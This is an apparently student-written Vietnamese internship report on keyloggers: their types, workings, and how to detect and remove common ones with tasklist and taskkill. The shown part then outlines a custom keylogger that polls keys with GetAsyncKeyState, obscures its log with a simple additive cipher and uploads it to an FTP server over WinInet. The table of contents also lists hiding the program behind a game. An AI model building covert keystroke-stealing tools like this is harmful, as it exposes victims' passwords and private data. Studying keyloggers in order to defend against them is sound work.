Tìm hiểu keylogger và thiết kế chương trình keylogger

57
LỜI CẢM ƠN Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời gian từ khi bắt đầu thực tập đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và bạn bè. Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian thực tập tại trường. Và đặc biệt Em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận về đề tài thực, và khảo sát hướng nghiệp. Nếu không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bài báo cáo này của em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy. Bài báo cáo được thực hiện trong khoảng thời gian gần 8 tuần. Lần đầu tiên bước vào một đề tài. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn. i

description

Đây là đề tài tìm hiểu Keylogger và thiết ké chương trình Keylogger.Trong tài liệu tôi có sử dụng DevC++ 4.9.9.2 để viết chương trinh.Chương trình còn khá đơn giản mong các bạn đọc sẽ cùng tìm hiểu thêm về đề tài này để đề tài này mang tính thức tiễn cao hơn.Xin chân thành cảm ơn!

Transcript of Tìm hiểu keylogger và thiết kế chương trình keylogger

Page 1: Tìm hiểu keylogger và thiết kế chương trình keylogger

LỜI CẢM ƠN

Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời gian từ khi bắt đầu thực tập đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và bạn bè. Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian thực tập tại trường. Và đặc biệt Em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận về đề tài thực, và khảo sát hướng nghiệp. Nếu không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bài báo cáo này của em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy. Bài báo cáo được thực hiện trong khoảng thời gian gần 8 tuần. Lần đầu tiên bước vào một đề tài. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn.

i

Page 2: Tìm hiểu keylogger và thiết kế chương trình keylogger

MỤC LỤC

Trang

LỜI CẢM ƠN................................................................................................................I

DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH...............................................................III

LỜI MỞ ĐẦU................................................................................................................1

CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER...............................................................................................................2

1.1 LỊCH SỬ VỀ KEYLOGGER.............................................................................21.2 KHÁI NIỆM VỀ KEYLOGGER......................................................................21.3 PHÂN LOẠI KEYLOGGER..............................................................................21.4 CÁCH HOẠT ĐỘNG CỦA KEYLOGGER......................................................31.5 CÁCH PHÒNG, TRÁNH VÀ PHÁT HIỆN KEYLOGGER..........................41.6 MỘT SỐ CÁCH TÌM DIỆT VÀ XÓA KEYLOGGER HIỆU QUẢ VỚI MỘT SỐ HỆ ĐIỀU HÀNH NHẤT ĐỊNH VÀ KEYLOGGER PHỔ BIẾN........7

CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER...........................10

2.1 CÁC KIẾN THỨC LIÊN QUAN ĐỂ PHÁT TRIỂN CHƯƠNG TRÌNH KEYLOGGER...102.1.1 Tìm hiểu về hàm xác định phím đã được ấn................................................102.1.2 Tìm hiểu về thuật toán mã hóa file Log.........................................................102.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file log tới FTP server của chúng ta........................................................................................10

2.2 KẾT QUẢ CỦA CHƯƠNG TRÌNH KEYLOGGER.....................................................16

CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER....................................18

3.1 GIAO DIỆN TRÒ CHƠI CHE GIẤU CHƯƠNG TRÌNH KEYLOGGER.183.2 GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER...................................193.3 THAO TÁC THIẾT LẬP CHO FTP SERVER..............................................193.4 KHỞI TẠO FILE LOG............................................................................................203.5 KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER.................................21

KẾT LUẬN..................................................................................................................22

PHỤ LỤC.....................................................................................................................23

TÀI LIỆU THAM KHẢO..........................................................................................37

ii

Page 3: Tìm hiểu keylogger và thiết kế chương trình keylogger

DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH

HÌNH3.1.GIAO DIỆN TRÒ CHƠI CHE GIẤU KEYLOGGER...........................18

HÌNH 3.2 .GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER..........19

HÌNH 3.3.GIAO DIỆN TẠO FTP SERVER............................................................19

HÌNH 3.4.THIẾT LẬP THAM SỐ CHO FTP SERVER........................................20

HÌNH 3.5. TẠO THƯ MỤC VÀ FILE......................................................................21

HÌNH 3.6 .KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER .......................21

iii

Page 4: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC LỞI MỞ ĐẦU

LỜI MỞ ĐẦU

Keylogger là một loại phần mềm gián điệp, xuyên suốt trong đề tài này sẽ giúp chúng ta có cái nhìn tổng quan về Keylogger từ cách thức hoạt động cho đến cách phòng, tránh và cách phát hiện Keylogger. Một vấn đề quan trọng nữa đó là sẽ biết được ưu nhược điểm của Keylogger. Qua những hiểu biết cơ bản đó sẽ giúp chúng ta xây dựng một chương trình Keylogger. Để hiểu rõ hơn về keylogger chúng ta sẽ đi vào chi tiết từng phần theo sau dưới đây.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 1

Page 5: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG

KEYLOGGER

Tóm tắt:Tiếp cận chương này chúng ta sẽ có một kiến thức cơ bản về Keylogger, Keylogger được chia làm mấy loại hay sẽ giúp chúng ta biết cách phòng, tránh và phát hiện Keylogger ra sao. Việc tìm hiểu các kiến thức cơ bản này là rất cần thiết để chúng ta có thể xây dựng chương trình Keylogger. Ngoài ra việc hiểu được bản chất và cách thức hoạt động của Keylogger sẽ giúp chúng ta phát triển chương trình Anti-Keylogger sau này.

1.1 Lịch Sử về Keylogger

Keylogger đã tồn tại trong rất nhiều năm qua. Lịch sử của Keylogger không thể biết chính xác. Người ta tin rằng nó được xuất hiện đầu tiên bởi chính phủ và không biết ngày phát hành chính xác của Keylogger. Tuy nhiên cũng có nhiều người tin rằng nó được xuất hiện trong đầu những năm 90.

1.2 Khái niệm về Keylogger

Keylogger hay "Trình theo dõi thao tác bàn phím" theo cách dịch ra tiếng Việt là một chương trình máy tính ban đầu được viết nhằm mục đích theo dõi và ghi lại mọi thao tác thực hiện trên bàn phím vào một tập tin nhật ký (log) để cho người cài đặt nó sử dụng. Vì chức năng mang tính vi phạm vào riêng tư của người khác này nên các trình keylogger được xếp vào nhóm các phần mềm gián điệp.

Về sau khi keylogger phát triển cao hơn nó không những ghi lại thao tác bàn phím mà còn ghi lại cả các hình ảnh hiển thị trên màn hình (screen) bằng cách chụp (screen-shot) hoặc quay phim (screen-capture) thậm chí còn ghi nhận cách con trỏ chuột trên máy tính di chuyển.

1.3 Phân loại Keylogger

Keylogger bao gồm hai loại, một loại là keylogger phần cứng và một loại là phần mềm.

Thực tế hiện nay loại Keylogger phần mềm được sử dụng nhiều hơn so với Keylogger phần cứng. Theo những người lập trình, keylogger viết ra với chỉ có một mục đích duy nhất là giúp các bạn giám sát con cái, người thân xem họ làm gì với PC, với internet, khi chat với người lạ. Nhưng cách sử dụng và chức năng của keylogger hiện tại trên thế giới khiến người ta thường hay phân loại keylogger theo mức độ nguy hiểm bằng các câu hỏi:

Nhiễm vào máy không qua cài đặt hoặc cài đặt vào máy nhanh (Quick install)?

Có thuộc tính ẩn hoặc giấu trên trình quản lí tiến trình (Process manager) và trình

cài đặt và gỡ bỏ chương trình (Add or Remove Program)?

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 2

Page 6: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

Theo dõi không thông báo hoặc máy tính (PC) bị nhiễm khó tự phát hiện?

Có thêm chức năng Capturescreen hoặc ghi lại thao tác chuột?

Khó tháo gỡ?

Có khả năng lây nhiễm, chống tắt (Kill process)?

Cứ mỗi câu trả lời "có", sẽ cho một điểm. Điểm càng cao, Keylogger càng vượt khỏi mục đích giám sát (Monitoring) đến với mục đích do thám (Spying) và tính nguy hiểm nó càng cao. Keylogger có thể được phân loại theo số điểm:

Loại số 1

Không điểm: Keylogger loại bình thường; chạy công khai, có thông báo cho người bị theo dõi, đúng với mục đích giám sát.

Loại số 2

Một đến hai điểm: Keylogger nguy hiểm. Keylogger loại này sẽ chạy ngầm, hướng đến mục đích do thám nhiều hơn là giám sát (nguy hại đến các thông tin cá nhân như là tài khoản cá nhân, mật khẩu, thẻ tín dụng vì người dùng không biết).

Loại số 3

Ba đến năm điểm: Keylogger loại này rất nguy hiểm, ẩn giấu hoàn toàn theo dõi trên một phạm vi rộng, mục đích do thám rõ ràng.

Loại số 4

Sáu điểm: Keylogger nguy hiểm nghiêm trọng, thường được mang theo bởi các trojan-virus cực kỳ khó tháo gỡ, là loại keylogger nguy hiểm nhất. Chính vì vậy (và cũng do đồng thời là "đồng bọn" của Trojan-virus) nó thường hay bị các chương trình chống virus tìm thấy và tiêu diệt.

1.4 Cách hoạt động của Keylogger

Thành phần của Keylogger

Thông thường, một chương trình keylogger sẽ gồm có ba phần chính:

Chương trình điều khiển (Control Program): dùng để điều phối hoạt động, tinh

chỉnh các thiết lập, xem các tập tin nhật ký cho Keylogger. Phần này là phần được

giấu kỹ nhất của keylogger, thông thường chỉ có thể gọi ra bằng một tổ hợp phím

tắt đặc biệt.

Tập tin hook, hoặc là một chương trình monitor dùng để ghi nhận lại các thao tác

bàn phím, capture screen (đây là phần quan trọng nhất).

Tập tin nhật ký (log), nơi chứa đựng hoặc ghi lại toàn bộ những gì hook ghi nhận

được.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 3

Page 7: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

Ngoài ra, tùy theo loại có thể có thêm phần chương trình bảo vệ (guard, protect),

chương trình thông báo (report)…

Cách thức cài đặt vào máy

Các loại Keylogger từ 1 tới 3 thông thường khi cài đặt vào máy cũng giống như mọi chương trình máy tính khác, đều phải qua bước cài đặt. Đầu tiên nó sẽ cài đặt các tập tin dùng để hoạt động vào một thư mục đặc biệt (rất phức tạp), sau đó đăng ký cách thức hoạt động rồi đợi người dùng thiết lập thêm các ứng dụng. Sau đó nó bắt đầu hoạt động.

Loại keylogger số 4 có thể vào thẳng máy của người dùng bỏ qua bước cài đặt, dùng tính năng Autorun để cùng chạy với hệ thống. Một số loại tự thả (drop) mình vào các chương trình khác, để khi người dùng sử dụng các chương trình này Keylogger sẽ tự động chạy theo.

Cách hoạt động

Trong một hệ thống (Windows, Linux, Mac…), khi bấm 1 phím trên bàn phím, bàn phím sẽ chuyển nó thành tín hiệu chuyển vào CPU. CPU sẽ chuyển nó tới hệ điều hành để hệ điều hành dịch thành chữ hoặc số cho chính nó hoặc các chương trình khác sử dụng.Nhưng khi trong hệ thống đó có Keylogger, không những chỉ có hệ điều hành theo dõi mà cả hook file hoặc monitor program của Keylogger theo dõi nó sẽ ghi nhận và dịch lại các tính hiệu ghi vào tập tin nhật ký. Đồng thời nó còn có thể theo dõi cả màn hình và thao tác chuột.

1.5 Cách phòng, tránh và phát hiện Keylogger

Phòng

Keylogger thường cài đặt vào máy qua hai con đường chính: được cài đặt hoặc bị cài đặt.

Phòng ngừa "được cài đặt”

Phương pháp sau chỉ có tác dụng với chủ máy (người nắm quyền root hoặc administrator). Cách tốt nhất là không cho ai sử dụng chung máy tính. Bảo mật máy bằng cách khóa lại bằng các chương trình bảo vệ, hoặc mật khẩu khi đi đâu đó. Nếu phải dùng chung nên thiết lập quyền của người dùng chung đó thật thấp (guest đối với Windows XP, user đối với Linux) để kiểm soát việc cài đặt chương trình của họ.

Phòng ngừa "bị cài đặt”

Bị cài đặt là cách để nói đến các trường hợp Keylogger vào máy không do người nào đó trực tiếp đưa vào trên máy đó mà do Trojan, Virus, Spyware cài đặt vào máy nạn nhân mà nạn nhân không hề hay biết. Các biện pháp phòng ngừa:

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 4

Page 8: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

Không tùy tiện mở các tập tin lạ, không rõ nguồn gốc (đặc biệt chú ý các tập tin

có đuôi *.exe, *.com, *.bat, *.scr, *.swf, *.zip, *.rar, *.js, *.gif…). Tốt nhất là nên

xóa đi, hoặc kiểm tra (scan) bằng một chương trình antivirus và một chương trình

antispyware, vì nhiều chương trình antivirus chỉ có thể tìm thấy virus, không thể

nhận biết spyware.

Không vào các trang web lạ, đặc biệt là web "tươi mát" vì có thể các trang web

này ẩn chứa một loại worm, virus, hoặc là mã độc nào đó có thể âm thầm cài đặt.

Không click vào các đường link lạ do ai đó gửi cho chúng ta.

Không cài đặt các chương trình lạ (vì nó có thể chứa virus, trojan).

Không download chương trình từ các nguồn không tin cậy. Nếu có thể xem

xét chữ ký điện tử, để chắc chắn chương trình không bị sửa đổi.

Hạn chế download và sử dụng cracked-program.

Luôn luôn tự bảo vệ mình bằng các chương trình chuyên dùng chống virus,

chống spyware (antivirus, antispyware) và dựng tường lửa (firewall) khi ở trong

Internet.

Thường xuyên cập nhật đầy đủ các bản cập nhật bảo mật của hệ điều hành.

Hoặc chúng ta có thể download một số phần mềm chống Keylogger về để bảo

vệ

Tránh keylogger

Khi nghi ngờ có keylogger mà không có điều kiện kiểm tra. Diệt tập tin hook, chương trình theo dõi. Sử dụng một chương trình task

manager (có thể gọi ra bằng tổ hợp phím tắt Ctrl+Alt+Del trên Windows) xem các chương trình đang chạy. Nếu thấy process nào lạ (đặc biệt đối với Windows XP là các tập tin được chạy dưới User name không phải là System) chưa thấy bao giờ hãy tắt (end, kill) nó đi. Lưu ý cách này có thể làm treo hệ thống nếu đó là một tập tin cần cho hệ điều hành vì vậy người dùng cần có kinh nghiệm.

Che mắt keylogger

Keylogger hoạt động trên nguyên tắc theo dõi bàn phím (monitoring keyboard) chỉ có rất ít có khả năng theo dõi chuột (dù có theo dõi được cũng không chính xác lắm) và có khả năng capture clipboard. Vì vậy dù hệ thống có keylogger (trừ các keylogger có khả năng quay phim) có thể được vượt qua bằng cách:

Sử dụng On-Screen Keyboard (bàn phím trên màn hình) (trong windows gọi ra

bằng Start/Run/osk) để nhập cách dữ liệu nhạy cảm (mật khẩu, thẻ tín dụng) bằng

cách click chuột. Vì đây là cách nhập liệu nằm ngoài vùng theo dõi của các tập tin

hook (vì không qua bàn phím) nên Keylogger sẽ không ghi nhận được thông tin gì.

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 5

Page 9: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

Cách này dễ dùng nhưng người khác có thể trông thấy thông tin được nhập vào

(tiếng lóng thường dùng là đá pass) do đó chúng ta mất password.

Sử dụng Copy’n’Paste (chép và dán): Tìm một đoạn văn bản nào đó có các từ

nằm trong đoạn thông tin muốn giấu (ví dụ: Mật khẩu là password chúng ta hãy

tìm một đoạn văn có các từ p, a, s, w, o, r, d (ví dụ to day Is a hot day, peter feel

bad he want a cool drink or a ice-cream) copy từng chữ một và dán nó thành chữ

password rồi gửi đi. Cách này có ưu điểm là dễ dùng nhưng khá rắc rối và kém

hiệu quả nhất bởi vì nhiều Keylogger có chức năng theo dõi clipboard.

Sử dụng type’n’Click (bấm và nhấn): Vì bản thân một Keylogger thông thường

không thể theo dõi các bấm chuột. Ví dụ muốn đánh một đoạn thông tin là

password, đầu tiên hãy đánh một số từ có trong nó: psr rồi sử dụng chuột (không

dùng bàn phím) chen ngang vào p và s đánh chữ a giữa s và r đánh chữ swo sau r

là chữ d. Dòng thông tin nhập vào password nhưng trong tập tin nhật ký log

keylogger ghi lại được là psraswod. Cách này khá hay nhưng không phù hợp với

các thông tin dài vì dễ gây quên.

Chống keylogger

Phương pháp đơn giản

Nhanh hiệu quả nhất là diệt trừ toàn bộ các chương trình đang theo dõi bàn phím đi. Một số chương trình như là Keylogger Killer của Totto quét các process tìm các chương trình theo dõi cùng lúc quá nhiều ứng dụng (keylogger dùng cách này thường bằng một tập tin *.dll) rồi đề nghị bạn tắt nó đi. Thế nhưng một số chương trình tốt (như các chương trình giúp gõ bàn phím Unikey, Vietkey) cũng dùng cách này nên có thể gây diệt lầm.

Phương pháp nâng cao

Sử dụng một chương trình chống spyware chuyên dụng. Các chương trình này sẽ tự động quét, phân tích các chương trình đang chạy cũng như trên máy để từ đó nhận biết các chương trình keylogger và tự động diệt. Một số chương trình còn có chế độ bảo vệ thời gian thực (Real-Time Protection) giúp bảo vệ chúng ta chống ngay khi spyware chuẩn bị cài vào máy.

Nhưng điểm gây khó khăn nhất của cách dùng này là đa số các chương trình sử dụng tốt đều phải trả tiền (ví dụ như Spyware Doctor của Pctools, McAfee Antispywarecủa McAfee, Bitdefender…)

Tuy thế vẫn có một số chương trình miễn phí và khá tốt như Ad-Aware SE, Spybot S&D, Spyblaster tuy rằng nó lâu lâu vẫn bắt hụt một số chương trình đặc biệt, nhưng nếu dùng kết hợp (cùng lúc cả hai hoặc cả ba) thi hiệu quả hầu như là hoàn toàn.( Nếu chúng ta chạy 2-3 chương trình không phù hợp với nhau sẽ gây ra xung đột phần mêm chống virus)

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 6

Page 10: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

Trong một số trường hợp, người dùng chọn cách chống Keylogger theo cách "sống chung với lũ". Lấy ví dụ về Keyscrambler là một trong số những phần mềm bảo vệ máy tính theo phương pháp này. Mọi dữ liệu về phím bấm được truyền đến Hệ điều hành và được Keyscrambler mã hóa trước (do keyscrambler tác động trực tiếp từ phần lõi Kennel), sau đó mới đến các phần mềm khác (bao gồm cả keylogger) và cuối cùng được giải mã lại cho đúng với các phím được gõ. Phương pháp này có thể vô hiệu hóa đa số các loại keylogger hiện tại, không yêu cầu người dùng cập nhật các trình anti-keylogger thường xuyên. Tuy nhiên, nó cũng có những điểm yếu riêng. Nếu keylogger được viết để ghi lại các phím sau khi chúng được giải mã (ví dụ: Cài Keylogger như là một addon của trình duyệt...) thì xem như đã vô hiệu hóa được keyscrambler, và nó cũng chỉ hỗ trợ một số phần mềm nhất định. Khi dùng chung với các phần mềm gõ tiếng Việt, người dùng sẽ phải tắt KeyScramble đi, đây là một sự phiền phức lớn dù nó minh chứng cho khả năng bảo mật của phần mềm này.

1.6 Một số cách tìm diệt và xóa Keylogger hiệu quả với một số hệ điều

hành nhất định và Keylogger phổ biến.

Cách tìm và tiêu diệt Perfect Keylogger :

* Cách tìm :Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ)1. Vào mục Start -> Run gõ : cmd2. Ở màn hình Dos gõ : tasklist /m bpkhk.dllNếu không có Keylogger chúng ta sẽ nhận được 1 thông báo lỗi :Info: Không tasks running with the specified criteria.Nếu có Keylogger màn hình sẽ hiển thị :Image Name PID Modules diễn giảiexplorer 468 bpkhk.dll <--- quen thuộcDUMeter 1444 bpkhk.dll <--- quen thuộcctfmon 1548 bpkhk.dll <--- quen thuộcacrotray 1820 bpkhk.dll <--- quen thuộcnotepad 1956 bpkhk.dll <--- quen thuộcfirefox 2012 bpkhk.dll <--- quen thuộcbdmcon 1744 bpkhk.dll <--- quen thuộcTOTALCMD 2396 bpkhk.dll <--- quen thuộcbpk 2812 bpkhk.dll <--- Keylogger Sở dĩ chúng ta tìm tập tin bpkhk.dll là vì đây chính là tập tin Perfect Keylogger dùng để ghi lại thao tác trên máy tính.

* Cách diệt : Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt :

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 7

Page 11: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

1. Vào mục Start -> Run gõ : cmd2. Ở màn hình Dos gõ : taskkill /f /im bpk /t3. Tắt tất cả các chương trình đang chạy hiện thời (Explorer, bdswitch, DUMeter )4. Mở Explorer vào thư mục Windows\System32 xóa các tập tin bpk, bpkhk.dll, bpkwb.dll ...

Cách tìm và tiêu diệt Easy Keylogger

Sau khi cài đặt xong và khởi động Easy Keylogger có 1 biểu tượng chạy ở system tray.

Chức năng chính của Easy Keylogger :

+ Cho phép đặt phím tắt, mặc định : Shift + Ctrl + alt +V

+ Tập tin dùng để Capture thao tác : Ekey.dll

+ Chỉ có thể Capture thao tác, không có chế độ chạy ẩn, không có chức năng đính kèm Keylogger

* Ghi chú nhỏ : Có thể máy tính của chúng ta đang chạy rất nhiều chương trình ứng dụng, nên khi dùng lệnh : tasklist /m

Chúng ta sẽ khó theo dõi được, để đạt hiệu quả cao chúng ta hãy xuất vào 1 tập tin tạm (stout) ra 1 tập tin .txt

Dùng lệnh :

1. Vào mục Start -> Run gõ : cmd

2. Ở màn hình Dos gõ : tasklist /m > ctemp.txt

(Ở đây chúng ta ví dụ xuất vào ổ đĩa C với tập tin temp.txt)

* Cách tìm :

Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ)

1. Vào mục Start -> Run gõ : cmd

2. Ở màn hình Dos gõ : tasklist /m Ekey.dll

Nếu không có Keylogger bạn sẽ nhận được 1 thông báo lỗi :

INFO: Không tasks running with the specified criteria.

Nếu có Keylogger màn hình sẽ hiển thị :

Image Name PID Modules Diễn giải

TOTALCMD*************** ----- 2040 ----- ekey.dll <--- quen thuộc

Easy Keylogger*************** -- 2340 ----- ekey.dll <--- Keylogger

Sở dĩ chúng ta tìm tập tin Ekey.dll là vì đây chính là tập tin Easy Keylogger dùng để ghi lại thao tác trên máy tính.

* Cách diệt : (Lưu ý ở đây sẽ có nhiều cách diệt khỏi Process)

Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt :

1. Cách diệt thông thường :

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 8

Page 12: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER

+ Vào mục Start -> Run gõ : cmd

+ Ở màn hình Dos gõ : taskkill /f /im Easy Keylogger*************** /t

ERROR: Invalid Argument/Option - 'Key'.

2. Cách diệt sử dụng wildcard :

+ IProgram Files>taskkill /f /im EasyKe~1*************** /t

ERROR: The process "EasyKe~1***************" not found.

3. Cách diệt sử dụng được :

+ Vào mục Start -> Run gõ : cmd

+ Ở màn hình Dos gõ : taskkill /f /fi "pid ge 2340" /im *

Giải thích : Để hiểu được chúng ta hãy xem lại phía trên khi chúng ta tìm Ekey.dll Windows đã phát hiện ra được rằng Easy Keylogger đang chạy ở thread 2340 đúng không . Đây là cách dùng để loại bỏ tên tập tin dài.

4. Tắt tất cả các chương trình đang chạy hiện thời. 5. Mở Explorer tìm và xóa các tập tin Easy Keylogger***************, Ekey.dll

Cách tìm và tiêu diệt Active Keylogger

Sau khi cài đặt xong và khởi động Active Key Logger có 1 biểu tượng chạy ở system tray.Chức năng bên trong của Active Keylogger :- Tập tin dùng để Capture : smode.dll, CMD16.dll.- Chức năng Security : (cho phép ẩn hoàn toàn trên hệ thống)+ Disable Task Manager+ Remove Shortcut from Desktop+ Remove Shortcut from Start Thực đơn+ Remove Active Keylogger from Uninstall List- Stealth Mode : Cho phép chạy ẩnPhân tích sơ bộ về Active Keylogger :- Có khả năng Capture tất cả các thao tác trên máy tính.- Không có khả năng tự đính kèm, tuy nhiên vẫn có thể dùng một số chương trình khác để đính kèm vào được- Cho phép gởi tập tin log qua email (mặc định port 25), tập tin log có tên *.kl (có thể thay đổi được)

Cách diệt :

Chúng ta hãy dùng cách tìm và diệt giống như của Easy Keylogger, vì Active Key Logger cũng là 1 tập tin có tên dài quá 8 ký tự

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 9

Page 13: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER

2.1 Các kiến thức liên quan để phát triển chương trình Keylogger

2.1.1 Tìm hiểu về hàm xác định phím đã được ấn.

Sử dụng hàm : GetAsyncKeyState() để lấy thông tin phím đã được bấm hàm này yêu cầu thư viên: User32.lib

Header trong lập trinh C++ yêu cầu: Winuser.h (include Windows.h)

Cú pháp như sau:

SHORT WINAPI GetAsyncKeyState(

_In_ int vKey

);

vKey [in]:

Kiểu : int

Giá trị trả về kiểu SHORT. Hàm này cho biết tình trạng của một phím (Có được ấn hay không…).

GetAsyncKeyState(character)==-32767

giá trị để kiểm tra xem đã có phím nào được ấn chưa. Nếu có thì sẽ có giá trị bằng -32767. Tiếp theo sau đó là xác định phím đã được ấn trong một vòng lặp .Phím ấn sẽ được ghi vào file log.

2.1.2 Tìm hiểu về thuật toán mã hóa file Log

Chương trình Keylogger em viết có sử dụng mã hóa cổ điển, chính xác là mã hóa thay thế. Trong chương trình có sử Key mặc định để mã hóa là: 6784354. Đây là một cách mã hóa đơn giản và tốn ít tài nguyên xử lý. Mã hóa và giải mã sẽ rất nhanh. Chi tiết mã hóa sẽ như sau:

Sau khi bắt được các phím đã ấn (Keypress). Keypress này sẽ được đổ vào 1 file chưa mã hóa. Ngay lập tức ký tự này sẽ được cộng thêm một giá trị nữa đó là khóa do người dùng nhập vào. Kết quả của việc cộng này sẽ được đổ vào file log mã hóa. Mặc dù hơi rắc rối cho việc tạo 2 file nhưng không ảnh hưởng nhiều tới tốc độ xử lý hay chiếm tài nguyên lớn cho máy chính của chúng ta.

2.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file

log tới FTP server của chúng ta.

2.1.3.1 InternetOpen function : Hàm này sử dụng thư viện Wininet.lib. InternetOpen là hàm WinInet đầu tiên được gọi bởi một ứng dụng. Nó thông báo cho các DLL Internet để khởi tạo cấu trúc dữ liệu nội bộ và chuẩn bị cho các cuộc gọi từ các ứng dụng tương lai. Khi ứng dụng kết thúc bằng cách sử dụng chức

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 10

Page 14: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU

năng của Internet, nên gọi InternetCloseHandle để giải phóng và xử lý bất kỳ tài nguyên liên quan.

Ứng dụng này có thể làm bất kỳ các cuộc gọi InternetOpen, mặc dù một cuộc gọi duy nhất là đủ. Các ứng dụng có thể cần phải xác định hành vi riêng biệt cho mỗi trường hợp InternetOpen, chẳng hạn như các máy chủ proxy khác nhau cho mỗi cấu hình.

Sau khi ứng dụng gọi đã kết thúc bằng cách sử dụng HINTERNET xử lý trả về bởi InternetOpen, nó phải được đóng lại bằng cách sử dụng hàm InternetCloseHandle.

Giống như tất cả các khía cạnh khác của WinInet API, chức năng này không thể được gọi một cách an toàn từ bên trong DllMain hoặc constructor và destructor của các đối tượng.

Cú pháp của hàm này như sau :

HINTERNET InternetOpen(

_In_ LPCTSTR lpszAgent,

_In_ DWORD dwAccessType,

_In_ LPCTSTR lpszProxyName,

_In_ LPCTSTR lpszProxyBypass,

_In_ DWORD dwFlags

);

Ý nghĩa giá trị của các tham số như sau :

lpszAgent : Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của ứng dụng hoặc ứng dụng gọi hàm WinInet. Tên này được sử dụng như tác nhân người dùng trong giao thức HTTP.

wAccessType: Kiểu truy cập yêu cầu. Tham số này có thể là một trong những giá trị sau.

INTERNET_OPEN_TYPE_DIRECT: Giải quyết tất cả các tên máy chủ .

INTERNET_OPEN_TYPE_PRECONFIG: Lấy proxy hoặc cấu hình trực tiếp từ registry.

